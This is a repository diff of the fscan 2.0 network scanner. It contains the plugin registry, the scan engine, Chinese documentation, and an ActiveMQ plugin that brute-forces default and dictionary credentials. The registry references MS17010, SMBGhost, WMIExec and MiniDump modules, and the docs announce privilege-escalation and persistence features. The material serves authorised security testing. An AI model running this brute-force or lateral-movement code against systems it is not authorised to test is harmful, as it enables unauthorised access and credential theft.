Core/Registry.go Normal file
View File

@ -0,0 +1,254 @@
package Core
import (
"github.com/shadow1ng/fscan/Common"
"github.com/shadow1ng/fscan/Plugins"
)
// init 初始化并注册所有扫描插件
// 包括标准端口服务扫描、特殊扫描类型和本地信息收集等
func init() {
// 1. 标准网络服务扫描插件
// 文件传输和远程访问服务
Common.RegisterPlugin("ftp", Common.ScanPlugin{
Name: "FTP",
Ports: []int{21},
ScanFunc: Plugins.FtpScan,
})
Common.RegisterPlugin("ssh", Common.ScanPlugin{
Name: "SSH",
Ports: []int{22, 2222},
ScanFunc: Plugins.SshScan,
})
Common.RegisterPlugin("telnet", Common.ScanPlugin{
Name: "Telnet",
Ports: []int{23},
ScanFunc: Plugins.TelnetScan,
})
// Windows网络服务
Common.RegisterPlugin("findnet", Common.ScanPlugin{
Name: "FindNet",
Ports: []int{135},
ScanFunc: Plugins.Findnet,
})
Common.RegisterPlugin("netbios", Common.ScanPlugin{
Name: "NetBIOS",
Ports: []int{139},
ScanFunc: Plugins.NetBIOS,
})
Common.RegisterPlugin("smb", Common.ScanPlugin{
Name: "SMB",
Ports: []int{445},
ScanFunc: Plugins.SmbScan,
})
// 数据库服务
Common.RegisterPlugin("mssql", Common.ScanPlugin{
Name: "MSSQL",
Ports: []int{1433, 1434},
ScanFunc: Plugins.MssqlScan,
})
Common.RegisterPlugin("oracle", Common.ScanPlugin{
Name: "Oracle",
Ports: []int{1521, 1522, 1526},
ScanFunc: Plugins.OracleScan,
})
Common.RegisterPlugin("mysql", Common.ScanPlugin{
Name: "MySQL",
Ports: []int{3306, 3307, 13306, 33306},
ScanFunc: Plugins.MysqlScan,
})
// 中间件和消息队列服务
Common.RegisterPlugin("elasticsearch", Common.ScanPlugin{
Name: "Elasticsearch",
Ports: []int{9200, 9300},
ScanFunc: Plugins.ElasticScan,
})
Common.RegisterPlugin("rabbitmq", Common.ScanPlugin{
Name: "RabbitMQ",
Ports: []int{5672, 5671, 15672, 15671},
ScanFunc: Plugins.RabbitMQScan,
})
Common.RegisterPlugin("kafka", Common.ScanPlugin{
Name: "Kafka",
Ports: []int{9092, 9093},
ScanFunc: Plugins.KafkaScan,
})
Common.RegisterPlugin("activemq", Common.ScanPlugin{
Name: "ActiveMQ",
Ports: []int{61613},
ScanFunc: Plugins.ActiveMQScan,
})
// 目录和认证服务
Common.RegisterPlugin("ldap", Common.ScanPlugin{
Name: "LDAP",
Ports: []int{389, 636},
ScanFunc: Plugins.LDAPScan,
})
// 邮件服务
Common.RegisterPlugin("smtp", Common.ScanPlugin{
Name: "SMTP",
Ports: []int{25, 465, 587},
ScanFunc: Plugins.SmtpScan,
})
Common.RegisterPlugin("imap", Common.ScanPlugin{
Name: "IMAP",
Ports: []int{143, 993},
ScanFunc: Plugins.IMAPScan,
})
Common.RegisterPlugin("pop3", Common.ScanPlugin{
Name: "POP3",
Ports: []int{110, 995},
ScanFunc: Plugins.POP3Scan,
})
// 网络管理和监控服务
Common.RegisterPlugin("snmp", Common.ScanPlugin{
Name: "SNMP",
Ports: []int{161, 162},
ScanFunc: Plugins.SNMPScan,
})
Common.RegisterPlugin("modbus", Common.ScanPlugin{
Name: "Modbus",
Ports: []int{502, 5020},
ScanFunc: Plugins.ModbusScan,
})
// 数据同步和备份服务
Common.RegisterPlugin("rsync", Common.ScanPlugin{
Name: "Rsync",
Ports: []int{873},
ScanFunc: Plugins.RsyncScan,
})
// NoSQL数据库
Common.RegisterPlugin("cassandra", Common.ScanPlugin{
Name: "Cassandra",
Ports: []int{9042},
ScanFunc: Plugins.CassandraScan,
})
Common.RegisterPlugin("neo4j", Common.ScanPlugin{
Name: "Neo4j",
Ports: []int{7687},
ScanFunc: Plugins.Neo4jScan,
})
// 远程桌面和显示服务
Common.RegisterPlugin("rdp", Common.ScanPlugin{
Name: "RDP",
Ports: []int{3389, 13389, 33389},
ScanFunc: Plugins.RdpScan,
})
Common.RegisterPlugin("postgres", Common.ScanPlugin{
Name: "PostgreSQL",
Ports: []int{5432, 5433},
ScanFunc: Plugins.PostgresScan,
})
Common.RegisterPlugin("vnc", Common.ScanPlugin{
Name: "VNC",
Ports: []int{5900, 5901, 5902},
ScanFunc: Plugins.VncScan,
})
// 缓存和键值存储服务
Common.RegisterPlugin("redis", Common.ScanPlugin{
Name: "Redis",
Ports: []int{6379, 6380, 16379},
ScanFunc: Plugins.RedisScan,
})
Common.RegisterPlugin("fcgi", Common.ScanPlugin{
Name: "FastCGI",
Ports: []int{9000},
ScanFunc: Plugins.FcgiScan,
})
Common.RegisterPlugin("memcached", Common.ScanPlugin{
Name: "Memcached",
Ports: []int{11211},
ScanFunc: Plugins.MemcachedScan,
})
Common.RegisterPlugin("mongodb", Common.ScanPlugin{
Name: "MongoDB",
Ports: []int{27017, 27018},
ScanFunc: Plugins.MongodbScan,
})
// 2. 特殊漏洞扫描插件
Common.RegisterPlugin("ms17010", Common.ScanPlugin{
Name: "MS17010",
Ports: []int{445},
ScanFunc: Plugins.MS17010,
})
Common.RegisterPlugin("smbghost", Common.ScanPlugin{
Name: "SMBGhost",
Ports: []int{445},
ScanFunc: Plugins.SmbGhost,
})
// 3. Web应用扫描插件
Common.RegisterPlugin("webtitle", Common.ScanPlugin{
Name: "WebTitle",
Ports: Common.ParsePortsFromString(Common.WebPorts),
ScanFunc: Plugins.WebTitle,
})
Common.RegisterPlugin("webpoc", Common.ScanPlugin{
Name: "WebPoc",
Ports: Common.ParsePortsFromString(Common.WebPorts),
ScanFunc: Plugins.WebPoc,
})
// 4. Windows系统专用插件
Common.RegisterPlugin("smb2", Common.ScanPlugin{
Name: "SMBScan2",
Ports: []int{445},
ScanFunc: Plugins.SmbScan2,
})
Common.RegisterPlugin("wmiexec", Common.ScanPlugin{
Name: "WMIExec",
Ports: []int{135},
ScanFunc: Plugins.WmiExec,
})
// 5. 本地信息收集插件
Common.RegisterPlugin("localinfo", Common.ScanPlugin{
Name: "LocalInfo",
Ports: []int{},
ScanFunc: Plugins.LocalInfoScan,
})
Common.RegisterPlugin("dcinfo", Common.ScanPlugin{
Name: "DCInfo",
Ports: []int{},
ScanFunc: Plugins.DCInfoScan,
})
Common.RegisterPlugin("minidump", Common.ScanPlugin{
Name: "MiniDump",
Ports: []int{},
ScanFunc: Plugins.MiniDump,
})
}

467
Core/Scanner.go Normal file
View File

@ -0,0 +1,467 @@
package Core
import (
"fmt"
"github.com/schollz/progressbar/v3"
"github.com/shadow1ng/fscan/Common"
"github.com/shadow1ng/fscan/WebScan/lib"
"sort"
"strconv"
"strings"
"sync"
"sync/atomic"
"time"
)
// 全局变量定义
var (
LocalScan bool // 本地扫描模式标识
WebScan bool // Web扫描模式标识
)
// Scan 执行扫描主流程
// info: 主机信息结构体,包含扫描目标的基本信息
func Scan(info Common.HostInfo) {
Common.LogInfo("开始信息扫描")
// 初始化HTTP客户端配置
lib.Inithttp()
// 初始化并发控制
ch := make(chan struct{}, Common.ThreadNum)
wg := sync.WaitGroup{}
// 根据扫描模式执行不同的扫描策略
switch {
case Common.LocalMode:
// 本地信息收集模式
LocalScan = true
executeLocalScan(info, &ch, &wg)
case len(Common.URLs) > 0:
// Web扫描模式
WebScan = true
executeWebScan(info, &ch, &wg)
default:
// 主机扫描模式
executeHostScan(info, &ch, &wg)
}
// 等待所有扫描任务完成
finishScan(&wg)
}
// executeLocalScan 执行本地扫描
// info: 主机信息
// ch: 并发控制通道
// wg: 等待组
func executeLocalScan(info Common.HostInfo, ch *chan struct{}, wg *sync.WaitGroup) {
Common.LogInfo("执行本地信息收集")
// 获取本地模式支持的插件列表
validLocalPlugins := getValidPlugins(Common.ModeLocal)
// 验证扫描模式的合法性
if err := validateScanMode(validLocalPlugins, Common.ModeLocal); err != nil {
Common.LogError(err.Error())
return
}
// 输出使用的插件信息
if Common.ScanMode == Common.ModeLocal {
Common.LogInfo("使用全部本地插件")
Common.ParseScanMode(Common.ScanMode)
} else {
Common.LogInfo(fmt.Sprintf("使用插件: %s", Common.ScanMode))
}
// 执行扫描任务
executeScans([]Common.HostInfo{info}, ch, wg)
}
// executeWebScan 执行Web扫描
// info: 主机信息
// ch: 并发控制通道
// wg: 等待组
func executeWebScan(info Common.HostInfo, ch *chan struct{}, wg *sync.WaitGroup) {
Common.LogInfo("开始Web扫描")
// 获取Web模式支持的插件列表
validWebPlugins := getValidPlugins(Common.ModeWeb)
// 验证扫描模式的合法性
if err := validateScanMode(validWebPlugins, Common.ModeWeb); err != nil {
Common.LogError(err.Error())
return
}
// 处理目标URL列表
var targetInfos []Common.HostInfo
for _, url := range Common.URLs {
urlInfo := info
// 确保URL包含协议头
if !strings.HasPrefix(url, "http://") && !strings.HasPrefix(url, "https://") {
url = "http://" + url
}
urlInfo.Url = url
targetInfos = append(targetInfos, urlInfo)
}
// 输出使用的插件信息
if Common.ScanMode == Common.ModeWeb {
Common.LogInfo("使用全部Web插件")
Common.ParseScanMode(Common.ScanMode)
} else {
Common.LogInfo(fmt.Sprintf("使用插件: %s", Common.ScanMode))
}
// 执行扫描任务
executeScans(targetInfos, ch, wg)
}
// executeHostScan 执行主机扫描
// info: 主机信息
// ch: 并发控制通道
// wg: 等待组
func executeHostScan(info Common.HostInfo, ch *chan struct{}, wg *sync.WaitGroup) {
// 验证扫描目标
if info.Host == "" {
Common.LogError("未指定扫描目标")
return
}
// 解析目标主机
hosts, err := Common.ParseIP(info.Host, Common.HostsFile, Common.ExcludeHosts)
if err != nil {
Common.LogError(fmt.Sprintf("解析主机错误: %v", err))
return
}
Common.LogInfo("开始主机扫描")
executeScan(hosts, info, ch, wg)
}
// getValidPlugins 获取指定模式下的有效插件列表
// mode: 扫描模式
// 返回: 有效插件映射表
func getValidPlugins(mode string) map[string]bool {
validPlugins := make(map[string]bool)
for _, plugin := range Common.PluginGroups[mode] {
validPlugins[plugin] = true
}
return validPlugins
}
// validateScanMode 验证扫描模式的合法性
// validPlugins: 有效插件列表
// mode: 扫描模式
// 返回: 错误信息
func validateScanMode(validPlugins map[string]bool, mode string) error {
if Common.ScanMode == "" || Common.ScanMode == "All" {
Common.ScanMode = mode
} else if _, exists := validPlugins[Common.ScanMode]; !exists {
return fmt.Errorf("无效的%s插件: %s", mode, Common.ScanMode)
}
return nil
}
// executeScan 执行主扫描流程
// hosts: 目标主机列表
// info: 主机信息
// ch: 并发控制通道
// wg: 等待组
func executeScan(hosts []string, info Common.HostInfo, ch *chan struct{}, wg *sync.WaitGroup) {
var targetInfos []Common.HostInfo
// 处理主机和端口扫描
if len(hosts) > 0 || len(Common.HostPort) > 0 {
// 检查主机存活性
if shouldPingScan(hosts) {
hosts = CheckLive(hosts, Common.UsePing)
Common.LogInfo(fmt.Sprintf("存活主机数量: %d", len(hosts)))
if Common.IsICMPScan() {
return
}
}
// 获取存活端口
alivePorts := getAlivePorts(hosts)
if len(alivePorts) > 0 {
targetInfos = prepareTargetInfos(alivePorts, info)
}
}
// 添加URL扫描目标
targetInfos = appendURLTargets(targetInfos, info)
// 执行漏洞扫描
if len(targetInfos) > 0 {
Common.LogInfo("开始漏洞扫描")
executeScans(targetInfos, ch, wg)
}
}
// shouldPingScan 判断是否需要执行ping扫描
// hosts: 目标主机列表
// 返回: 是否需要ping扫描
func shouldPingScan(hosts []string) bool {
return (Common.DisablePing == false && len(hosts) > 1) || Common.IsICMPScan()
}
// getAlivePorts 获取存活端口列表
// hosts: 目标主机列表
// 返回: 存活端口列表
func getAlivePorts(hosts []string) []string {
var alivePorts []string
// 根据扫描模式选择端口扫描方式
if Common.IsWebScan() {
alivePorts = NoPortScan(hosts, Common.Ports)
} else if len(hosts) > 0 {
alivePorts = PortScan(hosts, Common.Ports, Common.Timeout)
Common.LogInfo(fmt.Sprintf("存活端口数量: %d", len(alivePorts)))
if Common.IsPortScan() {
return nil
}
}
// 合并额外指定的端口
if len(Common.HostPort) > 0 {
alivePorts = append(alivePorts, Common.HostPort...)
alivePorts = Common.RemoveDuplicate(alivePorts)
Common.HostPort = nil
Common.LogInfo(fmt.Sprintf("存活端口数量: %d", len(alivePorts)))
}
return alivePorts
}
// appendURLTargets 添加URL扫描目标
// targetInfos: 现有目标列表
// baseInfo: 基础主机信息
// 返回: 更新后的目标列表
func appendURLTargets(targetInfos []Common.HostInfo, baseInfo Common.HostInfo) []Common.HostInfo {
for _, url := range Common.URLs {
urlInfo := baseInfo
urlInfo.Url = url
targetInfos = append(targetInfos, urlInfo)
}
return targetInfos
}
// prepareTargetInfos 准备扫描目标信息
// alivePorts: 存活端口列表
// baseInfo: 基础主机信息
// 返回: 目标信息列表
func prepareTargetInfos(alivePorts []string, baseInfo Common.HostInfo) []Common.HostInfo {
var infos []Common.HostInfo
for _, targetIP := range alivePorts {
hostParts := strings.Split(targetIP, ":")
if len(hostParts) != 2 {
Common.LogError(fmt.Sprintf("无效的目标地址格式: %s", targetIP))
continue
}
info := baseInfo
info.Host = hostParts[0]
info.Ports = hostParts[1]
infos = append(infos, info)
}
return infos
}
// ScanTask 扫描任务结构体
type ScanTask struct {
pluginName string // 插件名称
target Common.HostInfo // 目标信息
}
// executeScans 执行扫描任务
// targets: 目标列表
// ch: 并发控制通道
// wg: 等待组
func executeScans(targets []Common.HostInfo, ch *chan struct{}, wg *sync.WaitGroup) {
mode := Common.GetScanMode()
// 获取要执行的插件列表
pluginsToRun, isSinglePlugin := getPluginsToRun(mode)
var tasks []ScanTask
actualTasks := 0
loadedPlugins := make([]string, 0)
// 收集扫描任务
for _, target := range targets {
targetPort, _ := strconv.Atoi(target.Ports)
for _, pluginName := range pluginsToRun {
plugin, exists := Common.PluginManager[pluginName]
if !exists {
continue
}
taskAdded, newTasks := collectScanTasks(plugin, target, targetPort, pluginName, isSinglePlugin)
if taskAdded {
actualTasks += len(newTasks)
loadedPlugins = append(loadedPlugins, pluginName)
tasks = append(tasks, newTasks...)
}
}
}
// 处理插件列表
finalPlugins := getUniquePlugins(loadedPlugins)
Common.LogInfo(fmt.Sprintf("加载的插件: %s", strings.Join(finalPlugins, ", ")))
// 初始化进度条
initializeProgressBar(actualTasks)
// 执行扫描任务
for _, task := range tasks {
AddScan(task.pluginName, task.target, ch, wg)
}
}
// getPluginsToRun 获取要执行的插件列表
// mode: 扫描模式
// 返回: 插件列表和是否为单插件模式
func getPluginsToRun(mode string) ([]string, bool) {
var pluginsToRun []string
isSinglePlugin := false
if plugins := Common.GetPluginsForMode(mode); plugins != nil {
pluginsToRun = plugins
} else {
pluginsToRun = []string{mode}
isSinglePlugin = true
}
return pluginsToRun, isSinglePlugin
}
// collectScanTasks 收集扫描任务
// plugin: 插件信息
// target: 目标信息
// targetPort: 目标端口
// pluginName: 插件名称
// isSinglePlugin: 是否为单插件模式
// 返回: 是否添加任务和任务列表
func collectScanTasks(plugin Common.ScanPlugin, target Common.HostInfo, targetPort int, pluginName string, isSinglePlugin bool) (bool, []ScanTask) {
var tasks []ScanTask
taskAdded := false
if WebScan || LocalScan || isSinglePlugin || len(plugin.Ports) == 0 || plugin.HasPort(targetPort) {
taskAdded = true
tasks = append(tasks, ScanTask{
pluginName: pluginName,
target: target,
})
}
return taskAdded, tasks
}
// getUniquePlugins 获取去重后的插件列表
// loadedPlugins: 已加载的插件列表
// 返回: 去重并排序后的插件列表
func getUniquePlugins(loadedPlugins []string) []string {
uniquePlugins := make(map[string]struct{})
for _, p := range loadedPlugins {
uniquePlugins[p] = struct{}{}
}
finalPlugins := make([]string, 0, len(uniquePlugins))
for p := range uniquePlugins {
finalPlugins = append(finalPlugins, p)
}
sort.Strings(finalPlugins)
return finalPlugins
}
// initializeProgressBar 初始化进度条
// actualTasks: 实际任务数量
func initializeProgressBar(actualTasks int) {
if Common.ShowProgress {
Common.ProgressBar = progressbar.NewOptions(actualTasks,
progressbar.OptionEnableColorCodes(true),
progressbar.OptionShowCount(),
progressbar.OptionSetWidth(15),
progressbar.OptionSetDescription("[cyan]扫描进度:[reset]"),
progressbar.OptionSetTheme(progressbar.Theme{
Saucer: "[green]=[reset]",
SaucerHead: "[green]>[reset]",
SaucerPadding: " ",
BarStart: "[",
BarEnd: "]",
}),
progressbar.OptionThrottle(65*time.Millisecond),
progressbar.OptionUseANSICodes(true),
progressbar.OptionSetRenderBlankState(true),
)
}
}
// finishScan 完成扫描任务
// wg: 等待组
func finishScan(wg *sync.WaitGroup) {
wg.Wait()
if Common.ProgressBar != nil {
Common.ProgressBar.Finish()
fmt.Println()
}
Common.LogSuccess(fmt.Sprintf("扫描已完成: %v/%v", Common.End, Common.Num))
}
// Mutex 用于保护共享资源的并发访问
var Mutex = &sync.Mutex{}
// AddScan 添加扫描任务并启动扫描
// plugin: 插件名称
// info: 目标信息
// ch: 并发控制通道
// wg: 等待组
func AddScan(plugin string, info Common.HostInfo, ch *chan struct{}, wg *sync.WaitGroup) {
*ch <- struct{}{}
wg.Add(1)
go func() {
defer func() {
wg.Done()
<-*ch
}()
atomic.AddInt64(&Common.Num, 1)
ScanFunc(&plugin, &info)
updateScanProgress(&info)
}()
}
// ScanFunc 执行扫描插件
// name: 插件名称
// info: 目标信息
func ScanFunc(name *string, info *Common.HostInfo) {
defer func() {
if err := recover(); err != nil {
Common.LogError(fmt.Sprintf("扫描错误 %v:%v - %v", info.Host, info.Ports, err))
}
}()
plugin, exists := Common.PluginManager[*name]
if !exists {
Common.LogInfo(fmt.Sprintf("扫描类型 %v 无对应插件,已跳过", *name))
return
}
if err := plugin.ScanFunc(info); err != nil {
Common.LogError(fmt.Sprintf("扫描错误 %v:%v - %v", info.Host, info.Ports, err))
}
}
// updateScanProgress 更新扫描进度
// info: 目标信息
func updateScanProgress(info *Common.HostInfo) {
Common.OutputMutex.Lock()
atomic.AddInt64(&Common.End, 1)
if Common.ProgressBar != nil {
fmt.Print("\033[2K\r")
Common.ProgressBar.Add(1)
}
Common.OutputMutex.Unlock()
}

16624
Core/nmap-service-probes.txt Normal file

File diff suppressed because it is too large Load Diff

155
Docs/Fscan2.0介绍.md Normal file
View File

@ -0,0 +1,155 @@
# Fscan2.0使用指南
大家好我是ZacharyZcR很荣幸能参与Fcan的重构工作本文档将会带您详细了解Fcan2.0的新特性。
目前已经完成的新增功能:
新增Telnet、VNC、Elasticsearch、RabbitMQ、Kafka、ActiveMQ、LDAP、SMTP、IMAP、POP3、SNMP、Zabbix、Modbus、Rsync、Cassandra、Neo4j扫描。
新增SYN和UDP端口扫描。
## 0x01 代码结构重构
代码架构经过全面重构现已优化为四个主要模块Common、Core、Plugins和WebScan。
每个模块都有其明确的职责划分:
### Common 模块
负责基础功能实现,包括参数解析和配置管理。作为底层支撑模块,为其他模块提供基础服务支持。
### Core 模块
作为Fscan的核心引擎实现端口扫描等基础功能。该模块是整个系统的中枢负责协调和调度其他功能模块。
### Plugins 模块
提供多样化的扫描插件实现,支持功能扩展和定制化需求。
### WebScan 模块
专门负责Web应用层面的扫描功能提供深度的Web安全评估能力。
### 代码规范
为提升代码质量和可维护性,我们制定了以下规范:
1. 文件命名采用大驼峰命名法,所有文件名以大写字母开头
2. 内部函数和方法的命名保持灵活性,以实用性为准
3. 使用LLM技术对全部代码进行了注释补充和优化
4. 完善了代码文档,便于开发者理解和进行二次开发
## 0x02 插件热插拔设计
Fcan 2.0采用了基于反射机制的插件热插拔架构,实现了插件的灵活添加和移除。以下是详细说明:
### 插件注册机制
插件注册通过 `Core/Registry.go` 文件实现,使用简洁的注册语法:
```go
Common.RegisterPlugin("mysql", Common.ScanPlugin{
Name: "MySQL",
Ports: []int{3306, 3307},
ScanFunc: Plugins.MysqlScan,
})
```
注册结构包含三个关键要素:
- 插件标识符(小写字符串)
- 插件名称(显示名称)
- 默认扫描端口
- 具体实现函数
### 端口配置
`Common/Ports.go` 中定义了多组预设端口配置:
- ServicePorts常用服务端口
- DbPorts数据库相关端口
- WebPortsWeb服务端口
- AllPorts全端口范围1-65535
- MainPorts核心服务端口
### 扫描模式配置
`Common/ParseScanMode.go` 中定义了默认扫描模式分组:
```go
var pluginGroups = map[string][]string{
ModeAll: [...], // 全量扫描
ModeBasic: [...], // 基础扫描
ModeDatabase: [...], // 数据库扫描
ModeWeb: [...], // Web服务扫描
ModeService: [...], // 基础服务扫描
ModeVul: [...], // 漏洞扫描
ModeLocal: [...], // 本地信息收集
}
```
### 使用方式
插件注册后即可通过 `-m` 参数调用,无需额外配置。这种设计既保证了扩展性,又维持了使用的简便性。若需要更多便捷功能,可通过修改相应配置文件实现。
## 0x03 Fscan-Lab
Fscan-Lab是一个集成的测试环境平台专为安全学习和功能验证设计。
### 功能特点
1. 预配置Docker环境
- 位于TestDocker目录下
- 包含多种预设测试场景
- 环境经过完整测试和验证
2. 使用场景
- 新手用户快速入门
- 功能学习与实践
- 插件开发测试验证
- 单点功能调试
### 优势
- 即开即用:预置环境免去繁琐配置
- 标准化:统一的测试环境确保结果可复现
- 安全可控:本地环境避免误操作风险
- 快速验证:便于开发者进行功能测试
## 0x04 本地扫描与本地利用
Fscan 2.0正在开发一套全新的本地化功能模块,主要包含以下方向:
### 计划功能
1. 本地敏感信息搜集
2. 本地提权检测与利用
3. 隧道搭建功能
4. 权限维持组件
### 开发状态
该模块目前处于积极开发阶段我们正在努力确保每个功能的安全性和可靠性。这个新增模块将极大扩展Fscan的功能范围使其成为一个更全面的安全评估工具。
### 未来展望
我们将在确保功能稳定性的基础上,逐步发布这些新特性。欢迎社区持续关注项目进展,也欢迎有兴趣的开发者参与贡献。
具体发布时间和详细功能列表将在开发完成后公布,敬请期待。
## 0x05 更多功能与开发说明
### 持续开发
Fscan 2.0目前处于活跃开发阶段:
- 最新代码会持续发布到dev分支
- 更新频率较高
- 功能不断优化和扩展
### 版本选择建议
由于dev分支的特点
- 更新速度快
- 不保证完全稳定
- 可能包含实验性功能
建议用户根据实际需求选择合适的版本:
- 追求稳定性的用户建议使用主分支
- 需要尝试新功能的用户可以使用dev分支
### 致谢
感谢您对Fscan 2.0的关注。我们将继续完善功能,提供更好的使用体验。
ZacharyZcR

View File

@ -0,0 +1,88 @@
# FScan 插件开发指南
## 1. 创建插件
`Plugins` 目录下创建你的插件文件,例如 `myPlugin.go`:
```go
package Plugins
import (
"github.com/shadow1ng/fscan/Common"
)
func MyPluginScan(info *Common.HostInfo) error {
// 1. 基础检查
if info == nil {
return errors.New("Invalid host info")
}
// 2. 实现扫描逻辑
result, err := doScan(info)
if err != nil {
return err
}
// 3. 处理结果
if result.Vulnerable {
Common.LogSuccess(fmt.Sprintf("Found vulnerability in %s:%d", info.Host, info.Port))
}
return nil
}
```
## 2. 注册插件
`Core/Registry.go` 中注册你的插件:
```go
Common.RegisterPlugin("myplugin", Common.ScanPlugin{
Name: "MyPlugin",
Port: 12345, // 指定端口如果是web类插件可设为0
ScanFunc: Plugins.MyPluginScan,
})
```
## 3. 开发规范
### 插件结构
- 每个插件应当是独立的功能模块
- 使用清晰的函数名和变量名
- 添加必要的注释说明功能和实现逻辑
### 错误处理
```go
// 推荐的错误处理方式
if err != nil {
return fmt.Errorf("plugin_name scan error: %v", err)
}
```
### 日志输出
```go
// 使用内置的日志函数
Common.LogSuccess("发现漏洞")
Common.LogError("扫描错误")
```
## 4. 测试验证
- 编译整个项目确保无错误
- 实际环境测试插件功能
- 验证与其他插件的兼容性
## 5. 提交流程
1. Fork 项目仓库
2. 创建功能分支
3. 提交代码更改
4. 编写清晰的提交信息
5. 创建 Pull Request
## 注意事项
- 遵循 Go 编码规范
- 保证代码可读性和可维护性
- 禁止提交恶意代码
- 做好异常处理和超时控制
- 避免过度消耗系统资源
- 注意信息安全,不要泄露敏感数据

189
Plugins/ActiveMQ.go Normal file
View File

@ -0,0 +1,189 @@
package Plugins
import (
"fmt"
"github.com/shadow1ng/fscan/Common"
"net"
"strings"
"time"
)
func ActiveMQScan(info *Common.HostInfo) (tmperr error) {
if Common.DisableBrute {
return
}
maxRetries := Common.MaxRetries
target := fmt.Sprintf("%v:%v", info.Host, info.Ports)
Common.LogDebug(fmt.Sprintf("开始扫描 %s", target))
Common.LogDebug("尝试默认账户 admin:admin")
// 首先测试默认账户
for retryCount := 0; retryCount < maxRetries; retryCount++ {
if retryCount > 0 {
Common.LogDebug(fmt.Sprintf("第%d次重试默认账户", retryCount+1))
}
flag, err := ActiveMQConn(info, "admin", "admin")
if flag {
successMsg := fmt.Sprintf("ActiveMQ服务 %s 成功爆破 用户名: admin 密码: admin", target)
Common.LogSuccess(successMsg)
// 保存结果
result := &Common.ScanResult{
Time: time.Now(),
Type: Common.VULN,
Target: info.Host,
Status: "vulnerable",
Details: map[string]interface{}{
"port": info.Ports,
"service": "activemq",
"username": "admin",
"password": "admin",
"type": "weak-password",
},
}
Common.SaveResult(result)
return nil
}
if err != nil {
errMsg := fmt.Sprintf("ActiveMQ服务 %s 默认账户尝试失败: %v", target, err)
Common.LogError(errMsg)
if retryErr := Common.CheckErrs(err); retryErr != nil {
if retryCount == maxRetries-1 {
return err
}
continue
}
}
break
}
totalUsers := len(Common.Userdict["activemq"])
totalPass := len(Common.Passwords)
Common.LogDebug(fmt.Sprintf("开始尝试用户名密码组合 (总用户数: %d, 总密码数: %d)", totalUsers, totalPass))
tried := 0
total := totalUsers * totalPass
// 遍历所有用户名密码组合
for _, user := range Common.Userdict["activemq"] {
for _, pass := range Common.Passwords {
tried++
pass = strings.Replace(pass, "{user}", user, -1)
Common.LogDebug(fmt.Sprintf("[%d/%d] 尝试: %s:%s", tried, total, user, pass))
// 重试循环
for retryCount := 0; retryCount < maxRetries; retryCount++ {
if retryCount > 0 {
Common.LogDebug(fmt.Sprintf("第%d次重试: %s:%s", retryCount+1, user, pass))
}
done := make(chan struct {
success bool
err error
}, 1)
go func(user, pass string) {
flag, err := ActiveMQConn(info, user, pass)
select {
case done <- struct {
success bool
err error
}{flag, err}:
default:
}
}(user, pass)
var err error
select {
case result := <-done:
err = result.err
if result.success {
successMsg := fmt.Sprintf("ActiveMQ服务 %s 成功爆破 用户名: %v 密码: %v", target, user, pass)
Common.LogSuccess(successMsg)
// 保存结果
vulnResult := &Common.ScanResult{
Time: time.Now(),
Type: Common.VULN,
Target: info.Host,
Status: "vulnerable",
Details: map[string]interface{}{
"port": info.Ports,
"service": "activemq",
"username": user,
"password": pass,
"type": "weak-password",
},
}
Common.SaveResult(vulnResult)
return nil
}
case <-time.After(time.Duration(Common.Timeout) * time.Second):
err = fmt.Errorf("连接超时")
}
if err != nil {
errMsg := fmt.Sprintf("ActiveMQ服务 %s 尝试失败 用户名: %v 密码: %v 错误: %v", target, user, pass, err)
Common.LogError(errMsg)
if retryErr := Common.CheckErrs(err); retryErr != nil {
if retryCount == maxRetries-1 {
continue
}
continue
}
}
break
}
}
}
Common.LogDebug(fmt.Sprintf("扫描完成,共尝试 %d 个组合", tried))
return tmperr
}
// ActiveMQConn 统一的连接测试函数
func ActiveMQConn(info *Common.HostInfo, user string, pass string) (bool, error) {
timeout := time.Duration(Common.Timeout) * time.Second
addr := fmt.Sprintf("%s:%s", info.Host, info.Ports)
conn, err := net.DialTimeout("tcp", addr, timeout)
if err != nil {
return false, err
}
defer conn.Close()
// STOMP协议的CONNECT命令
stompConnect := fmt.Sprintf("CONNECT\naccept-version:1.0,1.1,1.2\nhost:/\nlogin:%s\npasscode:%s\n\n\x00", user, pass)
// 发送认证请求
conn.SetWriteDeadline(time.Now().Add(timeout))
if _, err := conn.Write([]byte(stompConnect)); err != nil {
return false, err
}
// 读取响应
conn.SetReadDeadline(time.Now().Add(timeout))
respBuf := make([]byte, 1024)
n, err := conn.Read(respBuf)
if err != nil {
return false, err
}
// 检查认证结果
response := string(respBuf[:n])
if strings.Contains(response, "CONNECTED") {
return true, nil
}
if strings.Contains(response, "Authentication failed") || strings.Contains(response, "ERROR") {
return false, fmt.Errorf("认证失败")
}
return false, fmt.Errorf("未知响应: %s", response)
}

127
Plugins/Base.go Normal file
View File

@ -0,0 +1,127 @@
package Plugins
import (
"bytes"
"crypto/aes"
"crypto/cipher"
"encoding/base64"
"errors"
"fmt"
"net"
)
// ReadBytes 从连接读取数据直到EOF或错误
func ReadBytes(conn net.Conn) ([]byte, error) {
size := 4096 // 缓冲区大小
buf := make([]byte, size)
var result []byte
var lastErr error
// 循环读取数据
for {
count, err := conn.Read(buf)
if err != nil {
lastErr = err
break
}
result = append(result, buf[0:count]...)
// 如果读取的数据小于缓冲区,说明已经读完
if count < size {
break
}
}
// 如果读到了数据,则忽略错误
if len(result) > 0 {
return result, nil
}
return result, lastErr
}
// 默认AES加密密钥
var key = "0123456789abcdef"
// AesEncrypt 使用AES-CBC模式加密字符串
func AesEncrypt(orig string, key string) (string, error) {
// 转为字节数组
origData := []byte(orig)
keyBytes := []byte(key)
// 创建加密块,要求密钥长度必须为16/24/32字节
block, err := aes.NewCipher(keyBytes)
if err != nil {
return "", fmt.Errorf("创建加密块失败: %v", err)
}
// 获取块大小并填充数据
blockSize := block.BlockSize()
origData = PKCS7Padding(origData, blockSize)
// 创建CBC加密模式
blockMode := cipher.NewCBCEncrypter(block, keyBytes[:blockSize])
// 加密数据
encrypted := make([]byte, len(origData))
blockMode.CryptBlocks(encrypted, origData)
// base64编码
return base64.StdEncoding.EncodeToString(encrypted), nil
}
// AesDecrypt 使用AES-CBC模式解密字符串
func AesDecrypt(crypted string, key string) (string, error) {
// base64解码
cryptedBytes, err := base64.StdEncoding.DecodeString(crypted)
if err != nil {
return "", fmt.Errorf("base64解码失败: %v", err)
}
keyBytes := []byte(key)
// 创建解密块
block, err := aes.NewCipher(keyBytes)
if err != nil {
return "", fmt.Errorf("创建解密块失败: %v", err)
}
// 创建CBC解密模式
blockSize := block.BlockSize()
blockMode := cipher.NewCBCDecrypter(block, keyBytes[:blockSize])
// 解密数据
origData := make([]byte, len(cryptedBytes))
